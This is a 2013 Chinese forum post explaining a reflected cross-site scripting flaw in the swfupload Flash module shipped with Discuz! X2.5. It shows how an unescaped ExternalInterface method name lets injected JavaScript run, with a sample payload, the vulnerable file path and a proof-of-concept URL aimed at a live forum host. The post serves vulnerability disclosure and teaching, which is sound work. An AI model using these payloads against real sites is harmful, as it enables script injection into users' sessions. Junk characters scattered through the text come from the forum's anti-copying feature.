找回密码
 立即注册
查看: 2771|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说4 V0 O6 S0 [+ ^& H/ b7 @8 D1 D$ g$ n
# J) G  W. y3 M. X# U1 Z
flash.external.ExternalInterface.call($methodName, $parameter)/ }5 x1 m7 |  @
在浏览器中执行的是# b4 b9 P3 {* H/ P

8 H& W% O% }/ `0 W& `try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}& {* i8 z8 Q3 J! Q7 q+ S3 b( X. ^
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如6 i2 R' _8 r8 D9 E$ T5 k8 J3 O
  q( N; O% k" j0 A
flash.external.ExternalInterface.call("object."+$methodName, $parameter)3 m" D4 p% `( h6 i
$methodName = a())}catch(e){alert(/xss/)}//
* w8 l) M  _2 Z* J+ F% [结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
/ ^% T( }) j% b* R" {$ P. T% t# f0 P' v& I6 q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }) P/ a; R/ y( f3 l) Z( h

- g+ d! V. f1 j这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ); }5 B" m$ @$ w$ ~& a
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ _" u4 S6 a& t$ D2 t5 |  e- ~. @4 R$ x' v; k# F/ B% m
4 A% t" [7 T0 V; q/ K% A
7 d# p3 Q2 I9 S
漏洞文件:upload\static\image\common\swfupload.swf
$ h( L( x) f7 }* D8 @: p( Z- A- p# s6 I
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
+ n% D4 z4 t* y4 |* Z: |: F% ^( F

6 W9 B8 O( r; |0 R漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
2 _! h7 O: g( T+ ?# J# _
5 P; m' f& P$ p, D* |- Y0 V
) M8 N4 A) K+ A# O/ ^9 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表